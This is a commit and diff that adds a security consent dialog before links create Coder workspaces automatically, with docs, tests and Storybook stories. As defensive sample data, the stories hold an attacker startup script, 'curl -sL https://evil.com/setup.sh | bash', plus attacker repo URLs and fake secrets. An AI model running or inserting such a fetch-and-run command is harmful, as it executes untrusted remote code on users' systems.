feat(site)!: add consent prompt for auto-creation with prefilled parameters (#22011)

### Summary

Workspace created via mode=auto links now require explicit user
confirmation before provisioning. A warning dialog shows all prefilled
param.* values from the URL and blocks creation until the user clicks
`Confirm and Create`. Clicking `Cancel` falls back to the standard form
view.

<img width="820" height="475" alt="auto-create-consent-dialog"
src="https://github.com/user-attachments/assets/8339e3bd-434f-4a04-9385-436bf95f49d7"
/>

### Breaking behavior change

Links using `mode=auto` (e.g., "Open in Coder" buttons) will no longer
silently create workspaces. Users will now see a consent dialog and must
explicitly confirm before the workspace is provisioned. Any existing
integrations or automation relying on `mode=auto` for seamless workspace
creation will now require manual user interaction.

---------

Co-authored-by: Jake Howell <jacob@coder.com>

docs/admin/templates/open-in-coder.md

@@ -115,6 +115,25 @@ specified in your template in the `disable_params` search params list
 [![Open in Coder](https://YOUR_ACCESS_URL/open-in-coder.svg)](https://YOUR_ACCESS_URL/templates/YOUR_TEMPLATE/workspace?disable_params=first_parameter,second_parameter)
 ```
 
+### Security: consent dialog for automatic creation
+
+When using `mode=auto` with prefilled `param.*` values, Coder displays a
+security consent dialog before creating the workspace. This protects users
+from malicious links that could provision workspaces with untrusted
+configurations, such as dotfiles or startup scripts from unknown sources.
+
+The dialog shows:
+
+- A warning that a workspace is about to be created automatically from a link
+- All prefilled `param.*` values from the URL
+- **Confirm and Create** and **Cancel** buttons
+
+The workspace is only created if the user explicitly clicks **Confirm and
+Create**. Clicking **Cancel** falls back to the standard creation form where
+all parameters can be reviewed manually.
+
+![Consent dialog for automatic workspace creation](../../images/templates/auto-create-consent-dialog.png)
+
 ### Example: Kubernetes
 
 For a full example of the Open in Coder flow in Kubernetes, check out

site/e2e/tests/workspaces/autoCreateWorkspace.spec.ts

@@ -40,6 +40,7 @@ test("create workspace in auto mode", async ({ page }) => {
 			waitUntil: "domcontentloaded",
 		},
 	);
+	await page.getByRole("button", { name: /confirm and create/i }).click();
 	await expect(page).toHaveTitle(`${users.member.username}/${name} - Coder`);
 });
 
@@ -53,6 +54,7 @@ test("use an existing workspace that matches the `match` parameter instead of cr
 			waitUntil: "domcontentloaded",
 		},
 	);
+	await page.getByRole("button", { name: /confirm and create/i }).click();
 	await expect(page).toHaveTitle(
 		`${users.member.username}/${prevWorkspace} - Coder`,
 	);
@@ -66,5 +68,6 @@ test("show error if `match` parameter is invalid", async ({ page }) => {
 			waitUntil: "domcontentloaded",
 		},
 	);
+	await page.getByRole("button", { name: /confirm and create/i }).click();
 	await expect(page.getByText("Invalid match value")).toBeVisible();
 });

site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.stories.tsx

@@ -0,0 +1,84 @@
+import type { Meta, StoryObj } from "@storybook/react-vite";
+import { fn } from "storybook/test";
+import { AutoCreateConsentDialog } from "./AutoCreateConsentDialog";
+
+const meta: Meta<typeof AutoCreateConsentDialog> = {
+	title: "pages/CreateWorkspacePage/AutoCreateConsentDialog",
+	component: AutoCreateConsentDialog,
+	args: {
+		open: true,
+		onConfirm: fn(),
+		onDeny: fn(),
+	},
+};
+
+export default meta;
+type Story = StoryObj<typeof AutoCreateConsentDialog>;
+
+export const Default: Story = {
+	args: {
+		autofillParameters: [
+			{
+				name: "dotfiles_uri",
+				value: "https://github.com/attacker/dots.git",
+				source: "url",
+			},
+			{
+				name: "git_repo",
+				value: "https://github.com/attacker/malware-repo.git",
+				source: "url",
+			},
+		],
+	},
+};
+
+export const WithManyParameters: Story = {
+	args: {
+		autofillParameters: [
+			{
+				name: "dotfiles_uri",
+				value: "https://github.com/attacker/dots.git",
+				source: "url",
+			},
+			{
+				name: "git_repo",
+				value: "https://github.com/attacker/malware-repo.git",
+				source: "url",
+			},
+			{ name: "region", value: "us-east-1", source: "url" },
+			{ name: "instance_type", value: "t3.2xlarge", source: "url" },
+			{ name: "docker_image", value: "ubuntu:24.04", source: "url" },
+			{
+				name: "startup_script",
+				value: "curl -sL https://evil.com/setup.sh | bash",
+				source: "url",
+			},
+			{ name: "env_vars", value: "SECRET=hunter2,TOKEN=abc123", source: "url" },
+		],
+	},
+};
+
+export const WithLongValues: Story = {
+	args: {
+		autofillParameters: [
+			{
+				name: "dotfiles_uri",
+				value:
+					"https://evil.com/doasdasdjkhdasjkhasdjkhasdjkhasdjkhasdjkhdashjkasdt",
+				source: "url",
+			},
+			{
+				name: "git_repo",
+				value:
+					"https://evil.com/repoasddsaczxjkasdjkalsdhjkasjhsadhjksdajhkdas",
+				source: "url",
+			},
+		],
+	},
+};
+
+export const NoParameters: Story = {
+	args: {
+		autofillParameters: [],
+	},
+};

site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.tsx

@@ -0,0 +1,70 @@
+import { Button } from "components/Button/Button";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogFooter,
+	DialogHeader,
+	DialogTitle,
+} from "components/Dialog/Dialog";
+import { TriangleAlertIcon } from "lucide-react";
+import type { FC } from "react";
+import type { AutofillBuildParameter } from "utils/richParameters";
+
+interface AutoCreateConsentDialogProps {
+	open: boolean;
+	autofillParameters: AutofillBuildParameter[];
+	onConfirm: () => void;
+	onDeny: () => void;
+}
+
+export const AutoCreateConsentDialog: FC<AutoCreateConsentDialogProps> = ({
+	open,
+	autofillParameters,
+	onConfirm,
+	onDeny,
+}) => {
+	return (
+		<Dialog open={open}>
+			<DialogContent
+				onPointerDownOutside={(e) => e.preventDefault()}
+				onEscapeKeyDown={(e) => e.preventDefault()}
+				className="max-w-2xl overflow-hidden min-w-0"
+			>
+				<DialogHeader>
+					<DialogTitle>
+						<TriangleAlertIcon className="size-icon-lg text-content-warning inline-block align-text-bottom mr-2" />
+						Warning: Automatic Workspace Creation
+					</DialogTitle>
+					<DialogDescription>
+						A link is attempting to automatically create a workspace using the
+						following external configurations. Running scripts from untrusted
+						sources can be dangerous.
+					</DialogDescription>
+				</DialogHeader>
+
+				{autofillParameters.length > 0 && (
+					<div className="flex min-w-0 flex-col gap-2">
+						<span className="text-sm font-semibold text-content-primary">
+							Parameters:
+						</span>
+						<code className="block whitespace-pre overflow-x-auto">
+							{autofillParameters
+								.map((p) => `${p.name}: ${p.value}`)
+								.join("\n")}
+						</code>
+					</div>
+				)}
+
+				<DialogFooter>
+					<Button variant="outline" onClick={onDeny}>
+						Cancel
+					</Button>
+					<Button variant="default" onClick={onConfirm}>
+						Confirm and Create
+					</Button>
+				</DialogFooter>
+			</DialogContent>
+		</Dialog>
+	);
+};

site/src/pages/CreateWorkspacePage/CreateWorkspacePage.jest.tsx

@@ -475,6 +475,12 @@ describe("CreateWorkspacePage", () => {
 				`/templates/${MockTemplate.name}/workspace?mode=auto`,
 			);
 
+			// Consent dialog appears for mode=auto — confirm to proceed.
+			const confirmButton = await screen.findByRole("button", {
+				name: /confirm and create/i,
+			});
+			await userEvent.click(confirmButton);
+
 			await waitForLoaderToBeRemoved();
 
 			expect(screen.getByText(/instance type/i)).toBeInTheDocument();

site/src/pages/CreateWorkspacePage/CreateWorkspacePage.tsx

@@ -31,6 +31,7 @@ import { useMutation, useQuery, useQueryClient } from "react-query";
 import { useNavigate, useParams, useSearchParams } from "react-router";
 import { pageTitle } from "utils/page";
 import type { AutofillBuildParameter } from "utils/richParameters";
+import { AutoCreateConsentDialog } from "./AutoCreateConsentDialog";
 import { CreateWorkspacePageView } from "./CreateWorkspacePageView";
 import {
 	type CreateWorkspacePermissions,
@@ -59,6 +60,7 @@ const CreateWorkspacePage: FC = () => {
 	const defaultName = searchParams.get("name");
 	const disabledParams = searchParams.get("disable_params")?.split(",");
 	const [mode, setMode] = useState(() => getWorkspaceMode(searchParams));
+	const [autoCreateConsented, setAutoCreateConsented] = useState(false);
 	const [autoCreateError, setAutoCreateError] =
 		useState<ApiErrorResponse | null>(null);
 	const defaultOwner = me;
@@ -240,7 +242,11 @@ const CreateWorkspacePage: FC = () => {
 			externalAuth?.every((auth) => auth.optional || auth.authenticated),
 	);
 
-	let autoCreateReady = mode === "auto" && hasAllRequiredExternalAuth;
+	let autoCreateReady =
+		mode === "auto" && hasAllRequiredExternalAuth && autoCreateConsented;
+
+	const showAutoCreateConsent =
+		mode === "auto" && !autoCreateConsented && !autoCreateError;
 
 	// `mode=auto` was set, but a prerequisite has failed, and so auto-mode should be abandoned.
 	if (
@@ -291,6 +297,13 @@ const CreateWorkspacePage: FC = () => {
 		<>
 			<title>{pageTitle(title)}</title>
 
+			<AutoCreateConsentDialog
+				open={showAutoCreateConsent}
+				autofillParameters={autofillParameters}
+				onConfirm={() => setAutoCreateConsented(true)}
+				onDeny={() => setMode("form")}
+			/>
+
 			{shouldShowLoader ? (
 				<Loader />
 			) : (